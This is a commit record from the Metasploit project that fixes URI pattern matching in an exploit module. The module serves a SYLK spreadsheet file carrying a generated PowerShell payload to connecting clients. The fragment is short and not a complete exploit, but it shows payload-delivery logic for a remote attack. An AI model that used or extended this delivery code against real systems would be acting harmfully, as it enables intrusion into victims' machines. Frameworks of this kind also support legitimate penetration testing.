Fix request pattern matching

GSoC/Meterpreter_Web_Console
Carter Brainerd 2019-01-23 13:39:52 -05:00 committed by GitHub
parent 47fd066a29
commit 2d1cecd4d5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 1 additions and 1 deletions

View File

@ -57,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def on_request_uri(cli, request)
if request.raw_uri.to_s.end_with? '.slk$'
if request.raw_uri.to_s.end_with? '.slk'
print_status("Handling request for .slk from #{cli.peerhost}")
payload = gen_psh("#{get_uri}", "string")
data = create_slk(payload)